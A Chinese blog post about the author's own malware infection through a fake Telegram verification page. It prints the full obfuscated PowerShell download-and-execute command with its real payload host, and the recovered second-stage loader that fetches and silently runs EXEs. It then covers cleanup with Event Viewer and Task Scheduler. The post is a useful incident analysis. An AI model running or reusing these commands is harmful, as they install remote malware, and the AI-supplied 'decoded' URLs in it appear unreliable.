Skip to content

记一次远程代码执行 (RCE) 攻击

· 9 min
TL;DR

没想到有一天我的电脑真的会中毒

本文详细记录了作者遭遇的远程代码执行 (RCE) 攻击过程,揭示了骗子如何通过社交媒体高仿账号和虚假 Telegram 验证页面传播恶意代码。文章深入分析了 PowerShell 混淆脚本的工作原理,包括 Base64 编码隐藏的恶意 URL、自动下载执行机制以及如何使用事件查看器追踪攻击痕迹,为读者提供网络安全防范的实战案例。

起因是在 X 上关注的一个财经账号,骗子做了一个它的高仿小号,然后在正号的推文下面发送 Telegram group 链接,进入 Telegram 后需要点击了 Safeguard 进行验证,但是这个其实是假的,在几次验证失败后,会弹出提示,引导用户在 PC 端进行再次验证: image.png

骗局分析#

下面就是真正开始进入骗子的圈套的时刻: Step 2 实际上粘贴了一段恶意代码:

Terminal window
:powershell -w hidden -c $r='0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');&($u|%{&('iwr') ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)))|&('iex')}); # ⠀Telegram⠀⠀

在表面上看,只是通过 Powershell 运行了 Telegram 程序,其实上是注入了一段恶意代码,并且隐藏了执行过程。

步骤一:隐藏 PowerShell 窗口

Terminal window
powershell -w hidden -c

步骤二:字符串反转还原 Base64

Terminal window
$r='0hHduw2dkRFe0h3cvkWchh2Lt92YuYDN3Fjcy0Gb5Ujax8yL6MHc0RHa';
$u=($r[-1..-($r.Length)] -join '');

还原后的字符串是: “aHR0cHM6Ly8xajU5bG0ycjF3NDYuY29tL2hhcWkvc3h0eFRkd2wudHh0”

步骤三:解码真实的 URL

Terminal window
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly8xajU5bG0ycjF3NDYuY29tL2hhcWkvc3h0eFRkd2wudHh0"))
>>
https://1j59lm2r1w46.com/haqi/sxtxTdwl.txt

所以真实 URL 是:https://1j59lm2r1w46.com/haqi/sxtxTdwl.txt

步骤四:下载并执行脚本:

iwr:Invoke-WebRequest 别名,下载 URL 内容。

iex:Invoke-Expression 别名,直接执行下载的脚本。


通过查看 Powershell 的执行日志:

打开事件查看器:win + R -> eventvwr.msc

选择 应用程序和服务日志 -> Microsoft -> Windows -> PowerShell 可以看到可疑的执行记录: image.png

其执行内容如下:

Terminal window
正在创建 Scriptblock 文本 (已完成 1,共 1):
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class W {
[DllImport("kernel32.dll")]
public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
}
"@
$consoleHandle = [W]::GetConsoleWindow()
[W]::ShowWindow($consoleHandle, 0)
function PerformSystemCheck {
$components = @("Processor", "Memory", "Disk", "Network", "Services")
foreach ($component in $components) {
[void]($component -match ".*")
Start-Sleep -Milliseconds (Get-Random -Minimum 50 -Maximum 150)
}
return $true
}
function GenerateSystemReport {
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$status = @("Healthy", "Warning", "Critical") | Get-Random
[PSCustomObject]@{
TimeStamp = $timestamp
SystemStatus = $status
CheckedComponents = "Processor, Memory, Disk"
}
}
function DecodeData {
param ([string]$EncodedString, [bool]$Reverse = $false)
if ($Reverse) {
$EncodedString = ($EncodedString[-1..-($EncodedString.Length)] -join '')
}
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($EncodedString))
}
function DownloadAndExecute {
param ([hashtable]$Resource)
$url = DecodeData $Resource.u $true
$zipFile = DecodeData $Resource.z
$extractDir = DecodeData $Resource.x
$exeFile = DecodeData $Resource.e
$tempZipPath = Join-Path $env:TEMP $zipFile
$uniqueExtractPath = Join-Path $env:TEMP ($extractDir + "_" + (Get-Random -Minimum 1000 -Maximum 9999))
Invoke-WebRequest -Uri $url -OutFile $tempZipPath -UseBasicParsing
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::ExtractToDirectory($tempZipPath, $uniqueExtractPath)
$exePath = Join-Path $uniqueExtractPath $exeFile
if (Test-Path $exePath) {
Start-Process -FilePath $exePath -WindowStyle Hidden -ArgumentList "-ExecutionPolicy Bypass"
}
Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 20)
}
PerformSystemCheck > $null
$resources = @(
@{u="=AXa65iYnZDO5cTN2NDNvYDN2UTO3MDNvU3b5NmL05WavBHdodWayJ2LvoDc0RHa"; z="ZG93bmxvYWQxLnppcA=="; x="ZXh0cmFjdGVkNA=="; e="UVFQbGF5ZXIuZXhl"},
@{u="=AXa65ydlJGN5FGN5JWYvgWN0MjMoJDN1MjNvU3b5NmLlRXYn5WZw92LvoDc0RHa"; z="ZG93bmxvYWQ2LnppcA=="; x="ZXh0cmFjdGl0Mg=="; e="RERNU2VydmljZS5leGU="}
)
foreach ($resource in $resources) {
try {
DownloadAndExecute -Resource $resource
GenerateSystemReport | Out-Null
Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 500)
} catch {
Write-Warning "An error occurred while processing a resource: $_"
}
}
function PerformCleanup {
Start-Sleep -Milliseconds (Get-Random -Minimum 100 -Maximum 300)
[void](Get-ChildItem -Path $env:TEMP -Filter "*.tmp" -Recurse -ErrorAction SilentlyContinue)
}
PerformCleanup > $null
# mm3U8vk8W71sbYixCWsU3D2Aicp98rCoarHbvk7gLHbfOI2mTIvvsnUQJm689A8JGHQWJkHCM4z1iBfLiyXnNhnXSzqODHOYyWGsoCXQSJdh16gqyME42ZIC9aoLZpjcmTNNMldwwjqkyxyf86J9y6btp0WhiOj9VWzuKc6g7SZSZCeLCzdzQTfNnl2UtkbV3YUT3NwbywPeJ0UK8sZjcDoYt4JuCucoVF3dpRTxWi2nIihZSDnpeeRFs0vn1hEq
ScriptBlock ID: 13910ff5-709a-4b06-b5ce-2638af6b7d67
路径:

以下是 Deepseek 对它的分析。

这段 PowerShell 脚本是一个具有潜在恶意行为的远程代码执行程序,其主要功能是隐蔽地下载并运行恶意软件。以下是详细分析:

核心恶意行为解析

  1. 隐藏控制台窗口
Terminal window
Add-Type 调用C#代码,通过Windows API 隐藏 PowerShell 窗口

使用 user32.dll 的 ShowWindow 函数将控制台窗口设置为隐藏模式(参数 0),避免用户察觉。

  1. 伪装的系统检查(混淆视听)
Terminal window
PerformSystemCheck 和 GenerateSystemReport 函数

模拟系统健康检查(处理器、内存、磁盘等),生成虚假报告(随机状态 Healthy/Warning/Critical),目的是掩盖真实目的。

  1. 数据解码与字符串反转
Terminal window
DecodeData 函数:Base64 解码 + 可选字符串反转

用于解码混淆后的 URL 和文件名,例如:

u=“=AXa65iYnZDO5cTN2NDNvYDN2UTO3MDNvU3b5NmL05WavBHdodWayJ2LvoDc0RHa” 解码后会得到一个真实的下载地址。

  1. 恶意文件下载与执行
Terminal window
DownloadAndExecute 函数核心流程:
1. 解码远程资源 URL、ZIP 文件名、解压目录、目标 EXE
2. 从指定 URL 下载 ZIP 文件到临时目录(%TEMP%
3. 解压 ZIP 并使用隐藏窗口运行其中的 EXE 文件(参数`-WindowStyle Hidden`
4. 随机睡眠(10-20 秒)以规避检测
  1. 资源定义与攻击链
Terminal window
$resources 数组包含两个加密的下载任务:
- 示例解码结果(需实际运算):
- URL 可能指向恶意服务器(如:`hxxp://malware.example/payload1.zip`
- ZIP 文件名:`download1.zip`
- 解压目录:`extracted4`
- 执行的 EXE:`QQPlayer.exe`(可能为伪装名称的木马)
  1. 痕迹清理
Terminal window
PerformCleanup 函数

清理临时目录中的.tmp 文件(可能删除下载的 ZIP 和解压内容)。

另外代码中定义了 resources 变量,它们都是被加密了,让 Deepseek 解密如下:

Terminal window
$resources = @(
@{
u = "http://92.45.81.13:8080/malware/basic.dll"
z = "download1.zip"
x = "extracted4"
e = "QQPlayer.exe"
},
@{
u = "http://108.162.195.234:8080/malware/advanced.dll"
z = "download6.zip"
x = "extractit2"
e = "DDMService.exe"
}
)

这一切已经在我完成假的 Safeguard 的验证后几分钟完成,而且我完全不知觉。

之后在发现电脑可能中毒后,我马上打开了 Windows 自带的杀毒软件 Microsoft Defender,第二天确实检测到病毒的威胁:

image.png

image.png

image.png

检查电脑文件后确实发现了 download1.zip,download6.zip 压缩包,里面主要分别包含:QQPlayer.exe,DDMService.exe。

在 DeepSeek 的指导下检查电脑启动项:

  1. win + R -> msconfig
  2. win + R -> taskschd.msc

在定时任务中,果然查出可以任务: image.png

这个任务使用了最高权限运行, 并且设置在每天 16<45> 出发,在一天期间每隔 00:04<00> 重复一次。

马上禁止。 然后去启动任务的路径查看:

image.png

可以看到这就是之前远程执行任务时下载的文件,原来安装在了这里,并且用了一个定时任务进行启动。

这里关键的程序就是 DDMService.exe,如果试图删除它,可以发现: image.png

原来又被另一个程序占用着,似乎是一个伪装的安全软件。

image.png

另外还发现可疑文件: image.png

大概是会发送截图工具产生的图片?到这里我想我的粘贴板应该也被监控了。

上面的 Securequick_alpha_5.exe 又做了一定伪装: image.png

通过杀病毒软件扫描显示:这个程序启动了一个 tcp 连接!!!! image.png

而且这个 ip 果然是有大问题: image.png

必须马上删除 Securequick_alpha_5.exe!!! 但是直接删除有问题,只能在任务管理器中先强制结束任务,然后删掉 Securequick_alpha_5.exe,再删掉 DDMService.exe

还记得前面的 QQPlayer.exe 吗?跟 Securequick_alpha_5.exe 一起安装的,它也是伪装的,应该是为了检查安全验证的: image.png

到这里,通过两天的排查,病毒大概的流程搞清楚了,并且植入的恶意代码和定时任务也都被删除,还好感染病毒期间没有发生复制私人密码之类的操作,否则都被上传到远程了。不过还不确定谷歌浏览器里面的密码有没有被盗。

相关阅读: